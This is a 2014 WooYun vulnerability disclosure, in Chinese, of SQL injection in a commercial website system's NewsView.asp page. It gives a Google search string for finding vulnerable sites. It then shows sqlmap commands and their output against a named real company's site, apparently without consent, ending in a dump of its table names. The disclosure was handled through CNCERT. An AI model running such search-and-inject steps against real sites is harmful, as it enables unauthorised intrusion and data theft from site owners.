当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-065722

漏洞标题:某通用商务系统SQL注入漏洞之四(影响众多企业网站)

相关厂商:cncert国家互联网应急中心

漏洞作者: 泳少

提交时间:2014-06-24 11:13

修复时间:2014-09-22 11:14

公开时间:2014-09-22 11:14

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-24: 细节已通知厂商并且等待厂商处理中
2014-06-28: 厂商已经确认,细节仅向厂商公开
2014-07-01: 细节向第三方安全合作伙伴开放
2014-08-22: 细节向核心白帽子及相关领域专家公开
2014-09-01: 细节向普通白帽子公开
2014-09-11: 细节向实习白帽子公开
2014-09-22: 细节向公众公开

简要描述:

我去。。都来到第四波了。。由于之前提交过这个。。但是狗哥说不行。。。不能获取敏感数据。。因为我采用了直接注射所以泡不到裤子。但是经过一番周折找到到了不少大拿!然后利用get注入。。。现在终于能够跑出裤子了!

详细说明:

关键字:inurl:NewsView.asp
谷歌搜索:

http://74.125.227.77/search?q=inurl:NewsView.asp&newwindow=1&ei=eoyiU5zSOOfQ8AGzwIHoBw&start=110&sa=N&biw=1366&bih=615


1.png


我就随便找了个网站对她进行get注入

http://www.mhwmm.com/Ch/NewsView.asp?ID=4684


[root@Hacker~]# Sqlmap sqlmap -u ""http://www.mhwmm.com/Ch/NewsView.asp?ID=4684
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 13:43:59
[13:43:59] [INFO] testing connection to the target url
[13:43:59] [INFO] testing if the url is stable, wait a few seconds
[13:44:04] [INFO] url is stable
[13:44:04] [INFO] testing if GET parameter 'ID' is dynamic
[13:44:05] [WARNING] GET parameter 'ID' appears to be not dynamic
[13:44:05] [INFO] heuristics detected web page charset 'GB2312'
[13:44:05] [WARNING] reflective value(s) found and filtering out
[13:44:05] [INFO] heuristic test shows that GET parameter 'ID' might be injectab
le (possible DBMS: Microsoft Access)
[13:44:05] [INFO] testing for SQL injection on GET parameter 'ID'
[13:44:05] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[13:44:07] [INFO] GET parameter 'ID' seems to be 'AND boolean-based blind - WHER
E or HAVING clause' injectable (with --string="",\r\n today.getFullY
ear(),"\ufffd\ufffd",\r\n today.getMonth()+1,"\ufffd\ufffd",\r\n
today.getDate(),"\ufffd\ufffd",\r\n d[today.getDay()+1],\r\
n "")
parsed error message(s) showed that the back-end DBMS could be Microsoft Access.
Do you want to skip test payloads specific for other DBMSes? [Y/n]
[13:44:10] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[13:44:10] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other potential injection technique found
[13:44:11] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for current UNION query injection technique test
[13:44:14] [INFO] target url appears to have 12 columns in query
injection not exploitable with NULL values. Do you want to try with a random int
eger value for option '--union-char'? [Y/n]
[13:44:46] [WARNING] if UNION based SQL injection is not detected, please consid
er forcing the back-end DBMS (e.g. --dbms=mysql)
[13:44:46] [INFO] checking if the injection point on GET parameter 'ID' is a fal
se positive
GET parameter 'ID' is vulnerable. Do you want to keep testing the others (if any
)? [y/N]
sqlmap identified the following injection points with a total of 63 HTTP(s) requ
ests:
---
Place: GET
Parameter: ID
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: ID=4684 AND 6769=6769
---
[13:45:46] [INFO] testing Microsoft Access
[13:45:47] [INFO] confirming Microsoft Access
[13:45:50] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003
web application technology: Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
[13:45:50] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 66 times
[13:45:50] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[13:45:50] [INFO] fetched data logged to text files under 'D:\??\???~1\tools\???
?\SQLMAP~3\Bin\output\www.mhwmm.com'
[*] shutting down at 13:45:50


提示可以进行注入。。然后在命令后面加上 --tables

[root@Hacker~]# Sqlmap sqlmap -u "http://www.mhwmm.com/Ch/NewsView.asp?ID=4684"
--tables
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 13:48:30
[13:48:31] [INFO] resuming back-end DBMS 'microsoft access'
[13:48:31] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: ID
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: ID=4684 AND 6769=6769
---
[13:48:31] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003
web application technology: Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
[13:48:31] [INFO] fetching tables for database: 'Microsoft_Access_masterdb'
[13:48:31] [INFO] fetching number of tables for database 'Microsoft_Access_maste
rdb'
[13:48:31] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[13:48:31] [INFO] retrieved:
[13:48:31] [INFO] heuristics detected web page charset 'GB2312'
[13:48:32] [WARNING] in case of continuous data retrieval problems you are advis
ed to try a switch '--no-cast' and/or switch '--hex'
[13:48:32] [WARNING] unable to retrieve the number of tables for database 'Micro
soft_Access_masterdb'
[13:48:32] [ERROR] cannot retrieve table names, back-end DBMS is Access
do you want to use common table existence check? [Y/n/q]
[13:48:33] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[13:48:33] [INFO] checking table existence using items from 'D:\??\???~1\tools\?
???\SQLMAP~3\Bin\txt\common-tables.txt'
[13:48:33] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)]
[13:48:34] [WARNING] running in a single-thread mode. This could take a while.
[13:48:34] [INFO] tried 2/3142 items (0%)
[13:48:35] [WARNING] reflective value(s) found and filtering out
[13:48:37] [INFO] retrieved: config
[13:49:00] [INFO] retrieved: news
[13:52:27] [INFO] retrieved: photo
[13:58:37] [INFO] retrieved: ad
Database: Microsoft_Access_masterdb
[4 tables]
+--------+
| ad |
| config |
| news |
| photo |
+--------+

漏洞证明:

[root@Hacker~]# Sqlmap sqlmap -u "http://www.mhwmm.com/Ch/NewsView.asp?ID=4684"
--tables
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 13:48:30
[13:48:31] [INFO] resuming back-end DBMS 'microsoft access'
[13:48:31] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: ID
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: ID=4684 AND 6769=6769
---
[13:48:31] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003
web application technology: Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
[13:48:31] [INFO] fetching tables for database: 'Microsoft_Access_masterdb'
[13:48:31] [INFO] fetching number of tables for database 'Microsoft_Access_maste
rdb'
[13:48:31] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[13:48:31] [INFO] retrieved:
[13:48:31] [INFO] heuristics detected web page charset 'GB2312'
[13:48:32] [WARNING] in case of continuous data retrieval problems you are advis
ed to try a switch '--no-cast' and/or switch '--hex'
[13:48:32] [WARNING] unable to retrieve the number of tables for database 'Micro
soft_Access_masterdb'
[13:48:32] [ERROR] cannot retrieve table names, back-end DBMS is Access
do you want to use common table existence check? [Y/n/q]
[13:48:33] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[13:48:33] [INFO] checking table existence using items from 'D:\??\???~1\tools\?
???\SQLMAP~3\Bin\txt\common-tables.txt'
[13:48:33] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)]
[13:48:34] [WARNING] running in a single-thread mode. This could take a while.
[13:48:34] [INFO] tried 2/3142 items (0%)
[13:48:35] [WARNING] reflective value(s) found and filtering out
[13:48:37] [INFO] retrieved: config
[13:49:00] [INFO] retrieved: news
[13:52:27] [INFO] retrieved: photo
[13:58:37] [INFO] retrieved: ad
Database: Microsoft_Access_masterdb
[4 tables]
+--------+
| ad |
| config |
| news |
| photo |
+--------+

修复方案:

影响超级超级大大大大大。。求礼物

版权声明:转载请注明来源 泳少@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-06-28 22:26

厂商回复:

最新状态:

暂无